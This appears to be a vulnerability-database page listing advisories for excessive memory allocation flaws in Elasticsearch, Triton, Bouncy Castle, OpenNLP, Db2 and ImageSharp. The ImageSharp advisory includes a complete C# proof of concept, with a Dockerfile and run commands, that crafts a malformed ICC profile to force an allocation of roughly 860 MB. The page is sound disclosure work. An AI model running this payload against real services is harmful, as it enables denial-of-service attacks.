CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
509 vulnerabilities reference this CWE, most recent first.
GHSA-GPG2-7M3G-5QC5
Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36Memory Allocation with Excessive Size Value (CWE-789) in the ES|QL query processing of Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user able to submit ES|QL queries could send a specially crafted query whose evaluation allocates an unbounded amount of heap memory, exhausting the available heap on the receiving node and causing the node to become unavailable.
{
"affected": [],
"aliases": [
"CVE-2026-72656"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T20:17:25Z",
"severity": "MODERATE"
},
"details": "Memory Allocation with Excessive Size Value (CWE-789) in the ES|QL query processing of Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user able to submit ES|QL queries could send a specially crafted query whose evaluation allocates an unbounded amount of heap memory, exhausting the available heap on the receiving node and causing the node to become unavailable.",
"id": "GHSA-gpg2-7m3g-5qc5",
"modified": "2026-08-13T21:36:08Z",
"published": "2026-08-13T21:36:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72656"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elasticsearch-8-18-0-9-0-0-security-update-esa-2026-111/389495"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPGQ-5Q34-MH72
Vulnerability from github – Published: 2023-12-27 18:30 – Updated: 2023-12-27 18:30A flaw was found in EAP-7 during deserialization of certain classes, which permits instantiation of HashMap and HashTable with no checks on resources consumed. This issue could allow an attacker to submit malicious requests using these classes, which could eventually exhaust the heap and result in a Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2023-3171"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-27T16:15:13Z",
"severity": "HIGH"
},
"details": "A flaw was found in EAP-7 during deserialization of certain classes, which permits instantiation of HashMap and HashTable with no checks on resources consumed. This issue could allow an attacker to submit malicious requests using these classes, which could eventually exhaust the heap and result in a Denial of Service.",
"id": "GHSA-gpgq-5q34-mh72",
"modified": "2023-12-27T18:30:20Z",
"published": "2023-12-27T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3171"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:5484"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:5485"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:5486"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:5488"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-3171"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2213639"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPQH-X9H4-X2XH
Vulnerability from github – Published: 2025-08-06 15:31 – Updated: 2025-08-06 15:31NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability where a user could cause a memory allocation with excessive size value, leading to a segmentation fault, by providing an invalid request. A successful exploit of this vulnerability might lead to denial of service.
{
"affected": [],
"aliases": [
"CVE-2025-23331"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T13:15:40Z",
"severity": "HIGH"
},
"details": "NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability where a user could cause a memory allocation with excessive size value, leading to a segmentation fault, by providing an invalid request. A successful exploit of this vulnerability might lead to denial of service.",
"id": "GHSA-gpqh-x9h4-x2xh",
"modified": "2025-08-06T15:31:26Z",
"published": "2025-08-06T15:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23331"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5687"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPR4-C479-XRW4
Vulnerability from github – Published: 2026-10-02 09:31 – Updated: 2026-10-02 09:31Memory allocation with excessive size value in the HSS/LMS signature code (HssPublicKeyParameters, HssSignature) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote unauthenticated attacker who can supply both an HSS public key and a signature to cause a denial of service through memory exhaustion via a public key encoding with an excessive level count, because the level count L read when parsing an HSS public key was not checked against the RFC 8554 maximum of 8, and signature parsing then allocated an array of L - 1 entries before reading any further signature data. A single verification can commit up to about 17 GB of memory or fail with an OutOfMemoryException.
{
"affected": [],
"aliases": [
"CVE-2026-103603"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T08:17:00Z",
"severity": "HIGH"
},
"details": "Memory allocation with excessive size value in the HSS/LMS signature code (HssPublicKeyParameters, HssSignature) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote unauthenticated attacker who can supply both an HSS public key and a signature to cause a denial of service through memory exhaustion via a public key encoding with an excessive level count, because the level count L read when parsing an HSS public key was not checked against the RFC 8554 maximum of 8, and signature parsing then allocated an array of L - 1 entries before reading any further signature data. A single verification can commit up to about 17 GB of memory or fail with an OutOfMemoryException.",
"id": "GHSA-gpr4-c479-xrw4",
"modified": "2026-10-02T09:31:19Z",
"published": "2026-10-02T09:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103603"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-csharp/commit/f47ad47c7b5745b53d3f9ac711a5a419a272a5d7"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-csharp/wiki/CVE-2026-103603"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GR8H-7QG5-VH27
Vulnerability from github – Published: 2026-09-11 18:31 – Updated: 2026-09-14 21:31OOM Denial of Service via Unbounded Map Pre-Sizing in Apache OpenNLP SymSpellModelSerializer
Versions Affected:
- 3.0.0-M4
- 3.0.0-M5
(The opennlp-spellcheck extension was introduced in 3.0.0-M4. Releases 1.x and 2.x do not contain the affected code.)
Description:
The SymSpellModelSerializer.create() method reads two 32-bit signed integer count fields (unigramCount and bigramCount) from a binary SymSpell model stream and passes each value directly to LinkedHashMap.newLinkedHashMap() after validating only that it is non-negative. No upper bound is applied, so the count is fully attacker-controlled when the model file originates from an untrusted source.
A crafted .bin model file in which either count field is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) causes the map to be pre-sized to a capacity of 2^30 entries. The oversized backing array is allocated on the first put() into that map, requesting 4–8 GB depending on whether compressed oops are in effect, and the load fails with an OutOfMemoryError. Because the count fields sit immediately after a fixed-size header (magic, format version, three UTF strings, the configuration fields, and the edit-distance identifier) the attacker pays no meaningful size cost to weaponize a payload: a file of well under 100 bytes plus a single real entry is sufficient to crash a JVM that loads it.
Any code path that deserializes a SymSpell model is affected, including SymSpellModels.deserialize(InputStream), SymSpellModels.fromBytes(byte[]), classpath model loading via SymSpellModelResolver.resolveByLanguage(String), the CorrectTextTool command-line tool, and model-archive loading through the registered ArtifactSerializer. The opennlp-spellcheck extension ships in the official OpenNLP binary distribution.
The practical impact is denial of service against processes that load SymSpell model files from untrusted or semi-trusted origins.
Mitigation:
- 3.x users should upgrade to 3.0.0-M6.
Note: The fix applies an upper bound to both count fields, checked before the map is pre-sized; counts that are negative or exceed the bound cause an IOException to be thrown and the read to fail fast with no large allocation. The bound is the existing AbstractModelReader.MAX_ENTRIES limit introduced earlie, which the current change promotes to public visibility so that serializers implementing their own binary format can share it. The default bound is 10,000,000, which is well above the entry counts of legitimate SymSpell dictionaries but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load larger dictionaries can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Note that this property is shared with the model-reader limit and raising it relaxes both.
Users who cannot upgrade immediately should treat all SymSpell .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.
{
"affected": [],
"aliases": [
"CVE-2026-67211"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-11T18:16:57Z",
"severity": "HIGH"
},
"details": "OOM Denial of Service via Unbounded Map Pre-Sizing in Apache OpenNLP SymSpellModelSerializer\n\nVersions Affected: \n\n- 3.0.0-M4\n- 3.0.0-M5\n\n(The opennlp-spellcheck extension was introduced in 3.0.0-M4. Releases 1.x and 2.x do not contain the affected code.)\n\nDescription:\n\nThe SymSpellModelSerializer.create() method reads two 32-bit signed integer count fields (unigramCount and bigramCount) from a binary SymSpell model stream and passes each value directly to LinkedHashMap.newLinkedHashMap() after validating only that it is non-negative. No upper bound is applied, so the count is fully attacker-controlled when the model file originates from an untrusted source.\n\nA crafted .bin model file in which either count field is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) causes the map to be pre-sized to a capacity of 2^30 entries. The oversized backing array is allocated on the first put() into that map, requesting 4\u20138 GB depending on whether compressed oops are in effect, and the load fails with an OutOfMemoryError. Because the count fields sit immediately after a fixed-size header (magic, format version, three UTF strings, the configuration fields, and the edit-distance identifier) the attacker pays no meaningful size cost to weaponize a payload: a file of well under 100 bytes plus a single real entry is sufficient to crash a JVM that loads it.\n\nAny code path that deserializes a SymSpell model is affected, including SymSpellModels.deserialize(InputStream), SymSpellModels.fromBytes(byte[]), classpath model loading via SymSpellModelResolver.resolveByLanguage(String), the CorrectTextTool command-line tool, and model-archive loading through the registered ArtifactSerializer. The opennlp-spellcheck extension ships in the official OpenNLP binary distribution.\n\nThe practical impact is denial of service against processes that load SymSpell model files from untrusted or semi-trusted origins.\n\nMitigation:\n\n- 3.x users should upgrade to 3.0.0-M6.\n\nNote: The fix applies an upper bound to both count fields, checked before the map is pre-sized; counts that are negative or exceed the bound cause an IOException to be thrown and the read to fail fast with no large allocation. The bound is the existing AbstractModelReader.MAX_ENTRIES limit introduced earlie, which the current change promotes to public visibility so that serializers implementing their own binary format can share it. The default bound is 10,000,000, which is well above the entry counts of legitimate SymSpell dictionaries but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load larger dictionaries can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Note that this property is shared with the model-reader limit and raising it relaxes both.\n\nUsers who cannot upgrade immediately should treat all SymSpell .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.",
"id": "GHSA-gr8h-7qg5-vh27",
"modified": "2026-09-14T21:31:25Z",
"published": "2026-09-11T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67211"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/gnobdsj640c60xl76q8g9o73c7jsybjm"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/11/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GV7F-72RW-M4WF
Vulnerability from github – Published: 2025-05-29 21:31 – Updated: 2025-05-29 21:31IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1
is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.
{
"affected": [],
"aliases": [
"CVE-2025-2518"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-29T20:15:26Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1 \n\nis vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
"id": "GHSA-gv7f-72rw-m4wf",
"modified": "2025-05-29T21:31:37Z",
"published": "2025-05-29T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2518"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7235072"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GWG2-R3HJ-4W44
Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24Summary
A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.
In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 1.0.0-beta0001, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
The parser defect is present from the first published NuGet prerelease, 1.0.0-beta0001, through the latest published release, 4.1.1. The automatic Image.Load conversion path used by the main PoC exists in >= 4.0.0, <= 4.1.1; earlier versions expose the same parser defect through the public IccProfile.Entries accessor.
Details
The reproduced profile has an A2B0 multi-process-elements (mpet) tag with a
clut element declaring 15 input channels, 15 output channels, and three grid
points per input channel. ReadClutF32
computes 3^15 * 15 and allocates that many floats before reading any CLUT
values or verifying that the tag has enough remaining data. The supplied
200-byte profile ends immediately after the CLUT grid descriptor.
In v4, the path is reached when an application decodes an embedded ICC profile using
DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert. The
default setting, Preserve, does not parse the profile for conversion.
In v1 through v3, ReadClutF32 uses a jagged representation. Loading an ICC-bearing JPEG and then accessing decoded.Metadata.IccProfile.Entries reaches the public lazy parser. The malformed profile allocates the 3^15-entry outer array before the missing CLUT values are detected.
Reproduction environment and result
The supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1
net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.
Published 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by IccProfile.Entries; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published 1.0.0-beta0001 public IccProfile(bytes).Entries path allocated 114,813,528 bytes before a catchable managed bounds exception.
One exploit decode increased GC.GetTotalAllocatedBytes(true) by approximately
861.5 million bytes, then returned
InvalidIccProfileException: Invalid conversion method.
The reader catches the truncated-tag error and drops that tag. The identical
input with ColorProfileHandling.Preserve completed successfully with roughly
0.5 million allocated bytes in the harness.
One complete exploit run produced:
mode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
observed_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method.
managed_bytes_allocated=861476416
Docker exit status: 0
The control from the same image produced:
mode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
decoded=1x1 icc_present=True
managed_bytes_allocated=511888
Docker exit status: 0
The exact allocation counter includes runtime allocations and varies slightly between processes; the requested CLUT array itself is 860,934,420 bytes.
No active exploitation is known.
Impact
This report demonstrates a large attacker-controlled transient allocation in the ICC conversion path. It does not demonstrate unhandled process termination: allocation failure is caught while parsing the malformed tag, so the impact should be limited to memory pressure / input-validation failure unless a reproduction demonstrates a stronger result.
Complete PoC files
Program.cs:
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Png;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private const int RequestedFloats = 215233605; // 3^15 * 15
private const int RequestedBytes = RequestedFloats * sizeof(float);
private static void U32(byte[] bytes, int offset, uint value) => BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);
private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);
private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i < value.Length; i++) bytes[offset + i] = (byte)value[i]; }
// ICC v4 RGB profile containing an A2B0 mpet tag whose CLUT is deliberately
// truncated after its grid descriptor. ReadClutF32 still sizes float[] from
// the 15 untrusted input/output channels and the grid value of three.
private static byte[] BuildTruncatedProfile()
{
const int tagOffset = 144;
const int elementOffset = 168;
byte[] profile = new byte[200];
U32(profile, 0, (uint)profile.Length);
Ascii(profile, 4, "test");
U32(profile, 8, 0x04000000);
U32(profile, 12, 0x6D6E7472); // display device
U32(profile, 16, 0x52474220); // RGB
U32(profile, 20, 0x58595A20); // XYZ
Ascii(profile, 36, "acsp");
U32(profile, 128, 1);
U32(profile, 132, 0x41324230); // A2B0
U32(profile, 136, tagOffset);
U32(profile, 140, 56);
U32(profile, tagOffset, 0x6D706574); // mpet
U16(profile, tagOffset + 8, 0);
U16(profile, tagOffset + 10, 0);
U32(profile, tagOffset + 12, 1);
U32(profile, tagOffset + 16, 24); // element offset relative to tag start
U32(profile, tagOffset + 20, 32);
U32(profile, elementOffset, 0x636C7574); // clut
U16(profile, elementOffset + 4, 15);
U16(profile, elementOffset + 6, 15);
for (int i = 0; i < 15; i++) profile[elementOffset + 8 + i] = 3;
return profile;
}
private static byte[] BuildPng(byte[] icc)
{
using var image = new Image<Rgba32>(1, 1);
image.Metadata.IccProfile = new IccProfile(icc);
using var output = new MemoryStream();
image.Save(output, new PngEncoder());
return output.ToArray();
}
public static int Main(string[] args)
{
string mode = args.Length == 1 ? args[0] : "exploit";
if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}");
Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
long before = GC.GetTotalAllocatedBytes(true);
try
{
byte[] png = BuildPng(BuildTruncatedProfile());
var options = new DecoderOptions
{
ColorProfileHandling = mode == "exploit" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve
};
using Image decoded = Image.Load(options, png);
Console.WriteLine($"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}");
}
catch (Exception exception)
{
Console.WriteLine($"observed_exception={exception.GetType().FullName}: {exception.Message}");
}
Console.WriteLine($"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}");
return 0;
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
<Private>true</Private>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
<Private>true</Private>
</Reference>
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY gwg2.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build gwg2.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/gwg2.dll"]
Run:
docker build -t imagesharp-gwg2-poc .
docker run --rm imagesharp-gwg2-poc exploit
docker run --rm imagesharp-gwg2-poc control
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-beta0001"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106114"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:24:19Z",
"nvd_published_at": "2026-10-06T18:16:53Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.\n\nIn published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 1.0.0-beta0001, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe parser defect is present from the first published NuGet prerelease, `1.0.0-beta0001`, through the latest published release, 4.1.1. The automatic `Image.Load` conversion path used by the main PoC exists in `\u003e= 4.0.0, \u003c= 4.1.1`; earlier versions expose the same parser defect through the public `IccProfile.Entries` accessor.\n### Details\n\nThe reproduced profile has an `A2B0` multi-process-elements (`mpet`) tag with a\n`clut` element declaring 15 input channels, 15 output channels, and three grid\npoints per input channel. [`ReadClutF32`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/ICC/DataReader/IccDataReader.Lut.cs#L139-L162)\ncomputes `3^15 * 15` and allocates that many floats before reading any CLUT\nvalues or verifying that the tag has enough remaining data. The supplied\n200-byte profile ends immediately after the CLUT grid descriptor.\n\nIn v4, the path is reached when an application decodes an embedded ICC profile using\n`DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert`. The\ndefault setting, `Preserve`, does not parse the profile for conversion.\n\nIn v1 through v3, `ReadClutF32` uses a jagged representation. Loading an ICC-bearing JPEG and then accessing `decoded.Metadata.IccProfile.Entries` reaches the public lazy parser. The malformed profile allocates the `3^15`-entry outer array before the missing CLUT values are detected.\n\n### Reproduction environment and result\n\nThe supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1\n`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and\n.NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.\n\nPublished 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by `IccProfile.Entries`; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published `1.0.0-beta0001` public `IccProfile(bytes).Entries` path allocated 114,813,528 bytes before a catchable managed bounds exception.\n\nOne exploit decode increased `GC.GetTotalAllocatedBytes(true)` by approximately\n861.5 million bytes, then returned\n`InvalidIccProfileException: Invalid conversion method`.\nThe reader catches the truncated-tag error and drops that tag. The identical\ninput with `ColorProfileHandling.Preserve` completed successfully with roughly\n0.5 million allocated bytes in the harness.\n\nOne complete exploit run produced:\n\n```text\nmode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nobserved_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method.\nmanaged_bytes_allocated=861476416\nDocker exit status: 0\n```\n\nThe control from the same image produced:\n\n```text\nmode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\ndecoded=1x1 icc_present=True\nmanaged_bytes_allocated=511888\nDocker exit status: 0\n```\n\nThe exact allocation counter includes runtime allocations and varies slightly\nbetween processes; the requested CLUT array itself is 860,934,420 bytes.\n\nNo active exploitation is known.\n\n### Impact\n\nThis report demonstrates a large attacker-controlled transient allocation in\nthe ICC conversion path. It does not demonstrate unhandled process termination:\nallocation failure is caught while parsing the malformed tag, so the impact\nshould be limited to memory pressure / input-validation failure unless a\nreproduction demonstrates a stronger result.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System;\nusing System.Buffers.Binary;\nusing System.IO;\nusing System.Reflection;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Png;\nusing SixLabors.ImageSharp.Metadata.Profiles.Icc;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstatic class Program\n{\n private const int RequestedFloats = 215233605; // 3^15 * 15\n private const int RequestedBytes = RequestedFloats * sizeof(float);\n\n private static void U32(byte[] bytes, int offset, uint value) =\u003e BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);\n private static void U16(byte[] bytes, int offset, ushort value) =\u003e BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);\n private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i \u003c value.Length; i++) bytes[offset + i] = (byte)value[i]; }\n\n // ICC v4 RGB profile containing an A2B0 mpet tag whose CLUT is deliberately\n // truncated after its grid descriptor. ReadClutF32 still sizes float[] from\n // the 15 untrusted input/output channels and the grid value of three.\n private static byte[] BuildTruncatedProfile()\n {\n const int tagOffset = 144;\n const int elementOffset = 168;\n byte[] profile = new byte[200];\n U32(profile, 0, (uint)profile.Length);\n Ascii(profile, 4, \"test\");\n U32(profile, 8, 0x04000000);\n U32(profile, 12, 0x6D6E7472); // display device\n U32(profile, 16, 0x52474220); // RGB\n U32(profile, 20, 0x58595A20); // XYZ\n Ascii(profile, 36, \"acsp\");\n U32(profile, 128, 1);\n U32(profile, 132, 0x41324230); // A2B0\n U32(profile, 136, tagOffset);\n U32(profile, 140, 56);\n U32(profile, tagOffset, 0x6D706574); // mpet\n U16(profile, tagOffset + 8, 0);\n U16(profile, tagOffset + 10, 0);\n U32(profile, tagOffset + 12, 1);\n U32(profile, tagOffset + 16, 24); // element offset relative to tag start\n U32(profile, tagOffset + 20, 32);\n U32(profile, elementOffset, 0x636C7574); // clut\n U16(profile, elementOffset + 4, 15);\n U16(profile, elementOffset + 6, 15);\n for (int i = 0; i \u003c 15; i++) profile[elementOffset + 8 + i] = 3;\n return profile;\n }\n\n private static byte[] BuildPng(byte[] icc)\n {\n using var image = new Image\u003cRgba32\u003e(1, 1);\n image.Metadata.IccProfile = new IccProfile(icc);\n using var output = new MemoryStream();\n image.Save(output, new PngEncoder());\n return output.ToArray();\n }\n\n public static int Main(string[] args)\n {\n string mode = args.Length == 1 ? args[0] : \"exploit\";\n if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n Console.WriteLine($\"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}\");\n Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?.InformationalVersion}\");\n long before = GC.GetTotalAllocatedBytes(true);\n try\n {\n byte[] png = BuildPng(BuildTruncatedProfile());\n var options = new DecoderOptions\n {\n ColorProfileHandling = mode == \"exploit\" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve\n };\n using Image decoded = Image.Load(options, png);\n 